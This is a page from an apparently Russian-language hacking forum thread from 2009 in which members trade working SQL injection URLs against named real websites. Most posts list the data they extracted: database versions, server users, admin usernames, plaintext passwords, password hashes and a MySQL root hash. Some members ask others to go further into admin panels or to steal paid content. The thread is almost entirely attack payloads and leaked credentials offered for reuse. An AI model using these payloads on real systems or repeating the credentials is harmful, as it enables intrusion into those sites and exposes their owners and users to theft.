SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    180
    Likes Received:
    439
    Reputations:
    313
    [PR 5]
    Code:
    http://www.scalapublishers.com/new.php?ID=-284+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
    5.0.45:alexieh:alexieh@server213-171-218-195.livedns.org.uk

    [PR 4]
    Code:
    http://www.soate.ru/news/new.php?id=-46+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5
    5.0.67-log:u14833:u14833@10.10.223.243

    [PR 2]
    Code:
    http://www.luck-fm.org.ua/new.php?id=-5+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8
    5.0.77-community:h1u44_fmua:h1u44_fmuser@gate.evrohost.com

    [PR 0]

    Code:
    http://www.avelons.ru/new.php?id=-3+union+select+1,2,concat_ws(0x3a,version(),database(),user())
    5.0.77-community-log:alexby_avelon:alexby_alex@localhost
     
  2. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    457
    Likes Received:
    193
    Reputations:
    24
    5я версия
    доступ к information_schema закрыт
    е таблица users в ней 15 записей
    поля не смог подобрать

    Pr - 0, tic - 200


    PR 4
     
    #9502 Krist_ALL, 29 May 2009
    Last edited: 29 May 2009
  3. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,546
    Likes Received:
    398
    Reputations:
    228
    http://vents.ua/index.php?page=catalog&id=1&sub_id&pid=-11+union+select+1,2,3,4,5,6,version(),8,9+/*+&detail

    http://www.pwm.at/index.php?id=1&special=news&content=-9409+union+select+1,version(),3+/*+
    4.0.24_Debian-10sarge2-log

    http://www.npla.de/onda/content.php?id=-406+union+select+1,concat_ws(0x3a3a,primary_key,user,password,userlevel,radio,email),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+tbl_user+--+
    1::admin::eek:arle::2::0::webmaster@npla.de

    http://www.movie-trailers.ws/index.php?id=-1+union+select+1,concat_Ws(0x3a3a,user_id,contact_name,username,password,email_address),3+from+ox_users+/*+
    1::Administrator::adminkakadmin::1d0e8f8395e2754b1db1e68019ca0506::petrenyi@eszakweb.hu

    http://www.movie-trailers.ws/index.php?id=-1+union+select+1,concat_Ws(0x3a3a,account_id,account_type,account_name,m2m_password),3+from+ox_accounts+/*+
    1::ADMIN::Administrator account::CuEzMXy4_5tHo%TKI$_7KWo$J
     
    #9503 DezMond™, 29 May 2009
    Last edited: 29 May 2009
  4. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    630
    Likes Received:
    485
    Reputations:
    176
    cozy-home.ru
    pr=3
    http://www.cozy-home.ru/?id=5%20and%201=23%20union%20select%201,2,concat_ws(0x20,user(),database(),version(),@@basedir,@@datadir,@@tmpdir,@@version_compile_os),4,5,6,7,8,9%20--%20--

    u61968@10.10.223.222 u61968 5.0.67-log /usr/local/mysql50/ /db/mysql50/ /tmp/ unknown-freebsd6.2
     
  5. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    2,191
    Likes Received:
    996
    Reputations:
    155
    Прикольная инъекция. Первый раз такую вижу :).

    Code:
    http://www.setel.com.au/site.php?id=458+and+null+union+select+1,2,3,concat_ws(0x3a,user(),database(),version())--
    setel_tc_ro@localhost:setel_tc:5.0.32-Debian_7etch10-log

    Code:
    http://www.setel.com.au/site.php?id=458+and+null+union+select+1,2,3,group_concat(table_name)+from+information_schema.tables--
    Таблчки:
    Code:
    http://www.setel.com.au/site.php?id=458+and+null+union+select+1,2,3,concat_ws(0x3a,username,user_password)+from+phpbb_users+limit+1,1--
    Хз как там залогинится...
     
    2 people like this.
  6. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,594
    Likes Received:
    1,242
    Reputations:
    273
    http://lextal.md/?go=news&n=5+UNION+SELECT+concat_ws(0x3a,version(),database(),user(),@@version_compile_os),2,3,4,5


    Database Version: 5.0.81-community
    Database name: lextal_base
    User name: lextal_admin@localhost
    Os: pc-linux-gnu


    http://lextal.md/?go=news&n=5+UNION+SELECT+(select+concat_ws(0x3a,user_username,user_password)+FROM+lextal_base.users+LIMIT+x,1),2,3,4,5

    [0]:admin:a43573beb6366f8fff2737de56fb9b62
    [1]:roman.ivanov:4dfe6e220d16e7b633cfdd92bcc8050b
    [2]:veaceslav.mirza:e20e97ca049fa0bd48c804f6d937acad
    [3]:tatiana.mirza:3e57f7ee22713728335920e979ed0bde
    [4]:anatol:18807d9ff40b7f842212aa860fa6a1a4
    [5]:alexandru.cocirta:81dc9bdb52d04dc20036dbd8313ed055
     
  7. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,546
    Likes Received:
    398
    Reputations:
    228
    PR7
    http://www.oimparcial.com.br/noticias.php?id=-801+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a3a,username,password),14+from+users/*

    allan::5be8d9ca88485a6bc71db34c2df25e74 --allan6969
    Админку не нашёл((
     
  8. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    180
    Likes Received:
    439
    Reputations:
    313
    Code:
    http://ykolov.net/news/new.php?id=-28+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4
    5.1.32-community-log:library_ykolovnews:library_aleks@91.195.124.16
    Code:
    http://www.jfm.ru/pages/new.php?id=-867+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7
    5.0.67-log:u7265:u7265@10.10.10.213
    Code:
    http://www.mir-otchetov.ru/new.php?id=-28+union+select+1,2,unhex(hex(concat_ws(0x3a,version(),database(),user()))),4,5,6
    4.1.18:wwwstroymolru:stroymol@webhosting-hay.hc.ru
     
  9. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,546
    Likes Received:
    398
    Reputations:
    228
    http://www.cse.tkk.fi/Datacommunications/News/Jobs/index.php?id=-1+union+select+1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14,15,16+from+information_schema.tables+group+by+table_schema+limit+2,1+--+
     
  10. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,546
    Likes Received:
    398
    Reputations:
    228
    http://www.bsreview.org/index.php?modulo=Articles&id=-1+union+select+1,2,3,4,concat_ws(0x3a3a,username,password,nivel),6+from+bsr_usuarios+--+
    admin::iraz0la::1
    rubeng::bsreview::1
     
  11. Kimliksiz

    Kimliksiz Member

    Joined:
    7 May 2009
    Messages:
    31
    Likes Received:
    12
    Reputations:
    11
    http://www.vivavilla.nl/index.php?custom_language=turkish&user=detaliespopupcondrent&pid=1%20AND%201=0%20%75%6E%69%6F%6E%20SELECT%201,concat_ws(0x3e,user,password,email),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20FROM%20admin--

    admin>c2e4327c0ed6d23227be395b77b0272e>
     
  12. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    309
    Likes Received:
    92
    Reputations:
    33
    http://www.my-mbytes.ru/categoriya.php?catalor=-1+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4

    5.0.51a-community:begem116_magaz@localhost:begem116_magaz
     
  13. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,546
    Likes Received:
    398
    Reputations:
    228
    PR6 Tic 425
    http://helikon.ru/tree/index.php?id=-1'+union+select+1,2,3,table_name,5,6,7,8,9,10+from+information_schema.tables+limit+30,100+/*+
     
    1 person likes this.
  14. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,546
    Likes Received:
    398
    Reputations:
    228
    http://www.moscow-tram-collection.ru/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10+/*+

    http://www.emhk.org/course/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15+/*+
     
    1 person likes this.
  15. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    347
    Likes Received:
    109
    Reputations:
    25
    kontour1_vask@v19.valuehost.ru
    4.0.27-max-log
    kontour1_vask


    u89844@10.10.223.248
    5.0.67-log
    u89844


    novonews_v2_adm@192.168.1.1
    5.0.22-log
    novonews_v2

    http://www.novanews.lv/admin/





    dbu_raus_1@localhost
    db_raus_3
    4.1.22




    u_infoworks@localhost
    4.1.22
    infoworks





    5.0.67-userstats-log
    clipartua
    clipartdb@lepke.dreamhost.com


    если у кого получится стащить платные дипломки отпишитесь в ЛС
     
    #9515 udman, 29 May 2009
    Last edited: 30 May 2009
  16. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    309
    Likes Received:
    92
    Reputations:
    33
    http://www.drcar-murko.si/arhiv.php?tip=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9/*

    4.0.20:drcar-murko@localhost:drcar-murko
     
    1 person likes this.
  17. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    952
    Likes Received:
    785
    Reputations:
    591
    какая то team CS

    http://www.fragz-united.de/index.php?site=profile&id=1'+and+substring(version(),1,1)=5+--+


    #####################################
    PR4

    http://www.kitaitour.ru/info.php?id=749'+union+select+1,2,concat_ws(0x3a,user(),database(),version())+--+

    root@localhost:_sites:5.0.26

    куча табл

    http://www.kitaitour.ru/info.php?id=749'+union+select+1,2,table_name+from+information_schema.tables+--+

    http://www.kitaitour.ru/info.php?id=749'+union+select+1,2,concat_ws(0x3a,user,password,file_priv)+from+mysql.user+--+

    root:*8890FECAB5F65D32D9AC16A6D76E1B15F372465A:Y
    ::N
    pma:*6C8DC88838BA26F23FC09ED48861E966C911B4CB:N pma

    http://www.kitaitour.ru/info.php?id=749'+union+select+1,2,concat_ws(0x3a,'p')+from+mysql.user+--+

    p

    magic quotes = off
     
    _________________________
    #9517 HAXTA4OK, 30 May 2009
    Last edited: 30 May 2009
  18. InFlame

    InFlame Banned

    Joined:
    27 Oct 2008
    Messages:
    207
    Likes Received:
    31
    Reputations:
    0
    tests.specialist.ru

    Online тестирование и сертификация "SPECIALIST"

    Version:
    http://tests.specialist.ru/complete.asp?Test=10+or+1=@@version--
    db_name:
    http://tests.specialist.ru/complete.asp?Test=10+or+1=(select+db_name())--
    User:
    http://tests.specialist.ru/complete.asp?Test=10+or+1=(select+system_user)--
    Подбор табличек:
    http://tests.specialist.ru/complete.asp?Test=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
    http://tests.specialist.ru/complete.asp?Test=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+where+table_name+NOT+IN+('UnitResult'))--
    и т. д.
     
    1 person likes this.
  19. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    309
    Likes Received:
    92
    Reputations:
    33
    http://www.utg.net.ua/article.php?article_id=8+and+substring(version(),1,1)=3

    http://www.sttsnn.ru/arhiv.php?menu=1&month=4&year=2007+and+substring(version(),1,1)=4

    http://www.permoboz.ru/txt.php?n=6705+and+substring(version(),1,1)=4/*
     
  20. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,546
    Likes Received:
    398
    Reputations:
    228
    http://www.aiondb.ru./index.php?show_file&id=-1+UnIoN+SeLeCT+1,2,3,4,5,6,concat_ws(0x3a3a,id,about,contact,pw,log,email,phone,copyr,diz,top_zagl,title_main,desc_main,title_about,desc_about,title_contact,desc_contact,keywords,center_footer,logo_file,phone_file,title_clients,desc_clients,title_order,desc_order,main_page_text,about_page_text,contacts_page_text,counter_block),8,9+from+aion_config+--+
    1::rhfgbdhfg79::aionadmin::admin@aiondb.ru (З.Ы. То ли пас с логином то ли трэшь?!)
    http://www.aiondb.ru/library/vbuser.sql

    Хешь админа 86defe53d9974067e9a98f5b7b53eae4 подсолен z$S

    Таблы которые открыты:
    aion_catalog_razd
    aion_razd
    aion_config
    aion_video
    aion_file
    aion_video_razd
    aion_file_razd
    aion_podrazd
    Есть удал раб стол дефолтные пассы неподходят
    Если кто прокопает дальше - плиз пишите в ПМ))
    Совместно с HAXTA4OK'ом ))
     
    1 person likes this.
Loading...
Thread Status:
Not open for further replies.